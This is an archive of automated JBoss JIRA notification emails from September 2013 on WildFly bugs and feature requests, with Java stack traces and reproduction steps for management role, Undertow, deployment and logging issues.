>             "name" => "server-groups",
>             "value" => ["main-server-group"],
>             "operation" => "write-attribute"
>         }
>     ]
> }
> {code}
> Stacktrace
> {code}
> 17:23:59,102 ERROR [org.jboss.as.controller.management-operation] (host-controller-connection-threads - 1) JBAS014612: Operation ("write-attribute") failed - address: ([
>     ("core-service" => "management"),
>     ("access" => "authorization"),
>     ("server-group-scoped-role" => "main-DEPLOYER")
> ]): java.lang.NullPointerException
> 	at org.jboss.as.controller.access.constraint.ServerGroupEffectConstraint.setAllowedGroups(ServerGroupEffectConstraint.java:108) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.access.constraint.ServerGroupEffectConstraint.setAllowedGroups(ServerGroupEffectConstraint.java:108) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.access.ServerGroupScopedRoleWriteAttributeHandler.applyChangeToConstraint(ServerGroupScopedRoleWriteAttributeHandler.java:78) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.access.ServerGroupScopedRoleWriteAttributeHandler.applyUpdateToRuntime(ServerGroupScopedRoleWriteAttributeHandler.java:55) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractWriteAttributeHandler$1.execute(AbstractWriteAttributeHandler.java:101) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:609) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:487) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:258) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:143) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.remote.TransactionalProtocolOperationHandler.internalExecute(TransactionalProtocolOperationHandler.java:218) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.remote.TransactionalProtocolOperationHandler$ExecuteRequestHandler.doExecute(TransactionalProtocolOperationHandler.java:130) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.remote.TransactionalProtocolOperationHandler$ExecuteRequestHandler$1.run(TransactionalProtocolOperationHandler.java:109) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.remote.TransactionalProtocolOperationHandler$ExecuteRequestHandler$1.run(TransactionalProtocolOperationHandler.java:105) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_17]
> 	at javax.security.auth.Subject.doAs(Subject.java:356) [rt.jar:1.7.0_17]
> 	at org.jboss.as.controller.remote.TransactionalProtocolOperationHandler$GetSubjectResponseHandler$1$1.run(TransactionalProtocolOperationHandler.java:196) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.remote.TransactionalProtocolOperationHandler$GetSubjectResponseHandler$1$1.run(TransactionalProtocolOperationHandler.java:192) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_17]
> 	at org.jboss.as.controller.remote.TransactionalProtocolOperationHandler$GetSubjectResponseHandler$1.execute(TransactionalProtocolOperationHandler.java:192) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296) [wildfly-protocol-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518) [wildfly-protocol-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.1.Final.jar:2.1.1.Final]
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 17:03:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 17:03:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1868) Enable build on non en_US
	locale machine
In-Reply-To: <JIRA.12498468.1376385973000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498468.1376385973000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498468.1376385973000.31326.1379451783388@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1868?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805215#comment-12805215 ] 

RH Bugzilla Integration commented on WFLY-1868:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 1003603|https://bugzilla.redhat.com/show_bug.cgi?id=1003603] from MODIFIED to ON_QA
                
> Enable build  on non en_US locale machine
> -----------------------------------------
>
>                 Key: WFLY-1868
>                 URL: https://issues.jboss.org/browse/WFLY-1868
>             Project: WildFly
>          Issue Type: Feature Request
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 17:05:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 17:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1697) Fix JPA
 SerializableValidatorFactory memory leak
In-Reply-To: <JIRA.12496481.1373901643000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496481.1373901643000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496481.1373901643000.31330.1379451903437@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1697?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805216#comment-12805216 ] 

RH Bugzilla Integration commented on WFLY-1697:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 1003600|https://bugzilla.redhat.com/show_bug.cgi?id=1003600] from MODIFIED to ON_QA
                
> Fix JPA SerializableValidatorFactory memory leak
> ------------------------------------------------
>
>                 Key: WFLY-1697
>                 URL: https://issues.jboss.org/browse/WFLY-1697
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: JPA / Hibernate
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Scott Marlow
>            Assignee: Scott Marlow
>
> See http://lists.jboss.org/pipermail/wildfly-dev/2013-July/000466.html for details on recreating the SerializableValidatorFactory leak and Hibernate service loader references to Integreation class/properties.  

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 17:05:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 17:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1988) SaslException at startup in
 domain mode using JAAS for ManagementRealm
In-Reply-To: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499810.1378201935000.31333.1379451903606@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1988?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805217#comment-12805217 ] 

RH Bugzilla Integration commented on WFLY-1988:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 1003464|https://bugzilla.redhat.com/show_bug.cgi?id=1003464] from MODIFIED to ON_QA
                
>  SaslException at startup in domain mode using JAAS for ManagementRealm
> -----------------------------------------------------------------------
>
>                 Key: WFLY-1988
>                 URL: https://issues.jboss.org/browse/WFLY-1988
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 17:31:04 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Tue, 17 Sep 2013 17:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2090) CXF fails with
 IllegalStateException: UT000005: getRequestChannel() has already been
 called
In-Reply-To: <JIRA.12500798.1379354277000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500798.1379354277000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500798.1379354277000.31341.1379453464028@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2090?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805220#comment-12805220 ] 

Stuart Douglas commented on WFLY-2090:
--------------------------------------

Looking at the stack trace BytesReceivedThreadSetupAction should be a handler instead of a thread setup action. thread setup actions can be run multiple times for a request, when async requests are dispatched back to the container.
                
> CXF fails with IllegalStateException: UT000005: getRequestChannel() has already been called
> -------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2090
>                 URL: https://issues.jboss.org/browse/WFLY-2090
>             Project: WildFly
>          Issue Type: Bug
>          Components: Clustering, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Radoslav Husar
>            Assignee: Radoslav Husar
>             Fix For: 8.0.0.Beta1
>
>
> asoldano is seeing CXF problems with the latest modcluster undertow integration:
> 18:40:41,678 ERROR [io.undertow.request] (default task-10) Blocking request failed HttpServerExchange{ POST /jaxws-samples-asynch}: java.lang.IllegalStateException: UT000005: getRequestChannel() has already been called
> 	at io.undertow.server.HttpServerExchange.addRequestWrapper(HttpServerExchange.java:1052) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at org.wildfly.mod_cluster.undertow.metric.BytesReceivedThreadSetupAction.setup(BytesReceivedThreadSetupAction.java:46) [wildfly-mod_cluster-undertow-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at io.undertow.servlet.core.CompositeThreadSetupAction.setup(CompositeThreadSetupAction.java:42) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:204) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:196) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchToPath(ServletInitialHandler.java:141) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.spec.AsyncContextImpl$2$1.handleRequest(AsyncContextImpl.java:189) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.spec.AsyncContextImpl$2.run(AsyncContextImpl.java:186) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.spec.AsyncContextImpl$5.run(AsyncContextImpl.java:411) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.spec.AsyncContextImpl$TaskDispatchRunnable.run(AsyncContextImpl.java:496) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 17:35:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 17:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1547) deploy directories not
	cleaned up
In-Reply-To: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12479851.1353935247000.31345.1379453703552@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1547?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805222#comment-12805222 ] 

RH Bugzilla Integration commented on WFLY-1547:
-----------------------------------------------

Dimitris Andreadis <dandread at redhat.com> made a comment on [bug 1004383|https://bugzilla.redhat.com/show_bug.cgi?id=1004383]

Some documentation will be needed for the release notes, can Jai or Shaun provide it on the BZ?
                
> deploy directories not cleaned up
> ---------------------------------
>
>                 Key: WFLY-1547
>                 URL: https://issues.jboss.org/browse/WFLY-1547
>             Project: WildFly
>          Issue Type: Bug
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Shaun Appleton
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Beta1
>
>         Attachments: deployment_with_hack_no_hook.txt
>
>
> JBoss EAP 6.0.0 (and 6.0.1.ER3) doesn't clean up it's tmp/vfs directories.
> The following reproduces this -
> i) ensure run.conf has the -Xrs set
> ii) ensure deployments has a deployable .ear in it
> iii) ./run standalone.sh and allow the deployments to deploy
> iv) stop the EAP process ie kill <process_id>
> v) observe content tmp/vfs
> (The -Xrs parameter is used to "-Xrs" to prevent possible interference when JVM is running as a service and receives CTRL_LOGOFF_EVENT or SIGHUP)
> This will eventually cause problems with lack of disk space.
> Note if the -Xrs parameter content is removed but the tmp/vfs dirs stills exist. This could potentially cause inode problems.
> It would be better if there were any additional code so the temp dirs are cleaned up on start up. That would resolve both the -Xrs problem and the excessive dir creation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 17:37:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 17:37:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1934) Improve code of
 OutboundLdapConnectionTestCase
In-Reply-To: <JIRA.12499256.1377248810000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499256.1377248810000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499256.1377248810000.31358.1379453823849@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1934?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805224#comment-12805224 ] 

RH Bugzilla Integration commented on WFLY-1934:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 1000346|https://bugzilla.redhat.com/show_bug.cgi?id=1000346] from MODIFIED to ON_QA
                
> Improve code of OutboundLdapConnectionTestCase
> ----------------------------------------------
>
>                 Key: WFLY-1934
>                 URL: https://issues.jboss.org/browse/WFLY-1934
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Test Suite
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>            Priority: Minor
>             Fix For: 8.0.0.Beta1
>
>
> The code of the test could be improved :
>  - no need to manipulate the configuration files by hand.
>  - adding a small test on a non-ssl url.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 17:43:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 17:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-314) EE subsystem global modules
 should support annotation flag
In-Reply-To: <JIRA.12475698.1348784035000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12475698.1348784035000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12475698.1348784035000.31382.1379454184177@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-314?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-314:
-----------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1009166

    
> EE subsystem global modules should support annotation flag
> ----------------------------------------------------------
>
>                 Key: WFLY-314
>                 URL: https://issues.jboss.org/browse/WFLY-314
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: EE
>            Reporter: James Livingston
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Alpha1
>
>
> Annotation indexes aren't imported with modules by default, but you can specify the annotation flag in the manifest Dependencies line or the annotation attribute in jboss-deployment-structure.xml.
> The EE subsystem's global modules section does not let you specify that option, which means you can't define EJB interceptors and similar things in global modules. It should let you do that.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 17:45:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 17:45:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2030) Add ability to use
 annotations from Dependencies in web deployments
In-Reply-To: <JIRA.12500330.1378749840000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500330.1378749840000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500330.1378749840000.31395.1379454304079@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2030?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2030:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1009169

    
> Add ability to use annotations from Dependencies in web deployments
> -------------------------------------------------------------------
>
>                 Key: WFLY-2030
>                 URL: https://issues.jboss.org/browse/WFLY-2030
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Web (Undertow)
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 17:51:04 2013
From: jira-events at lists.jboss.org (=?UTF-8?Q?Thomas_Fr=C3=BChbeck_=28JIRA=29?=)
Date: Tue, 17 Sep 2013 17:51:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2028) An exploded war inside an
 archived ear returns 404
In-Reply-To: <JIRA.12500314.1378741350000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500314.1378741350000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500314.1378741350000.31414.1379454664045@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2028?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805229#comment-12805229 ] 

Thomas Fr?hbeck commented on WFLY-2028:
---------------------------------------

this change completely nukes exploded deployments (e.g. as in JBossTools) 

 private Closeable exportExplodedWar(final boolean war, final VirtualFile file) throws IOException {
        if (war && !file.isFile()) {
            File warContent = file.getPhysicalFile();
            VFSUtils.recursiveCopy(file, warContent.getParentFile());
 
seems to completly overwrite the files with itself.
If write protecting files in deployment, below exception is thrown:

23:09:29,392 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-7) MSC000001: Failed to start service jboss.deployment.unit."mssms-ear.ear".STRUCTURE: org.jboss.msc.service.Sta
rtException in service jboss.deployment.unit."mssms-ear.ear".STRUCTURE: JBAS018733: Failed to process phase STRUCTURE of deployment "mssms-ear.ear"
        at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:166) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
        at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
        at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
        at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
Caused by: org.jboss.as.server.deployment.DeploymentUnitProcessingException: JBAS011060: Failed to process children for EAR ["/work/java/wildfly-8.0.0.Beta1-SNAPSHOT/standalone/deplo
yments/mssms-ear.ear"]
        at org.jboss.as.ee.structure.EarStructureProcessor.deploy(EarStructureProcessor.java:237)
        at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:159) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
        ... 5 more
Caused by: java.io.FileNotFoundException: /work/java/wildfly-8.0.0.Beta1-SNAPSHOT/standalone/deployments/mssms-ear.ear/mssms.war/css/test.css (Keine Berechtigung)
        at java.io.FileOutputStream.open(Native Method) [rt.jar:1.7.0_40]
        at java.io.FileOutputStream.<init>(FileOutputStream.java:221) [rt.jar:1.7.0_40]
        at java.io.FileOutputStream.<init>(FileOutputStream.java:171) [rt.jar:1.7.0_40]
        at org.jboss.vfs.VFSUtils.recursiveCopy(VFSUtils.java:725)
        at org.jboss.vfs.VFSUtils.recursiveCopy(VFSUtils.java:722)
        at org.jboss.vfs.VFSUtils.recursiveCopy(VFSUtils.java:722)
        at org.jboss.as.ee.structure.EarStructureProcessor.exportExplodedWar(EarStructureProcessor.java:277)
        at org.jboss.as.ee.structure.EarStructureProcessor.createResourceRoot(EarStructureProcessor.java:261)
        at org.jboss.as.ee.structure.EarStructureProcessor.deploy(EarStructureProcessor.java:192)
        ... 6 more

                
> An exploded war inside an archived ear returns 404
> --------------------------------------------------
>
>                 Key: WFLY-2028
>                 URL: https://issues.jboss.org/browse/WFLY-2028
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: EE
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>
> When an archived ear which includes an exploded war is deployed in EAP 6, the application seems to be deployed successfully but it returns status code 404. 
> 1. Start EAP 6 standalone mode
> 2. Put the attached test.ear to $JBOSS_HOME/standalone/deployments
> 3. Access the web application
>     curl -v http://localhost:8080/test/index.jsp 
> JBoss returns status code 404.
> JBoss returns actual response of web application's content.
> Additional info:
> Same application works in EAP 5. When an application is an exploded ear which includes an exploded war, it works in EAP 6.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep 17 17:53:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 17:53:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1971) Add rotate-on-boot attribute
 to size-rotating-file-handler
In-Reply-To: <JIRA.12499642.1377791105000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499642.1377791105000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499642.1377791105000.31427.1379454784129@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1971?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805231#comment-12805231 ] 

RH Bugzilla Integration commented on WFLY-1971:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 999665|https://bugzilla.redhat.com/show_bug.cgi?id=999665] from MODIFIED to ON_QA
                
> Add rotate-on-boot attribute to size-rotating-file-handler
> ----------------------------------------------------------
>
>                 Key: WFLY-1971
>                 URL: https://issues.jboss.org/browse/WFLY-1971
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>
> Add {{rotate-on-boot}} attribute to the {{size-rotating-file-handler}}. Property available in JBoss LogManger 1.5+.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 17:53:06 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 17:53:06 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-405) Patching system
In-Reply-To: <JIRA.12414447.1279060149000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12414447.1279060149000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12414447.1279060149000.31475.1379454786110@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-405?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805233#comment-12805233 ] 

RH Bugzilla Integration commented on WFLY-405:
----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 999652|https://bugzilla.redhat.com/show_bug.cgi?id=999652] from MODIFIED to ON_QA
                
> Patching system
> ---------------
>
>                 Key: WFLY-405
>                 URL: https://issues.jboss.org/browse/WFLY-405
>             Project: WildFly
>          Issue Type: Task
>          Components: Domain Management, Patching
>            Reporter: Brian Stansberry
>            Assignee: Emanuel Muckenhuber
>            Priority: Blocker
>              Labels: rhq
>             Fix For: 8.0.0.Beta1
>
>
> "Server" side of the patching system. Server not in the sense of the domain model Server, but rather client-server where the client is whatever tool (JON) determines there are patches available and asks the server to apply them.
> This does not need to implemented until M2 but thinking about it during the design of the InstalledImage is good.
> Links to the current wiki articles:
> https://community.jboss.org/wiki/LayeredDistributionsAndModulePathOrganization
> https://community.jboss.org/wiki/SingleInstallationPatching
> https://community.jboss.org/wiki/ExperimentingWithSingleInstallationPatching

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 17:55:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 17:55:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (LOGMGR-67) Improve LogManager formatter
 capability: System resources, thread ID and minified category
In-Reply-To: <JIRA.12490045.1366637143000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12490045.1366637143000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12490045.1366637143000.31501.1379454905335@jira02.app.mwc.hst.phx2.redhat.com>


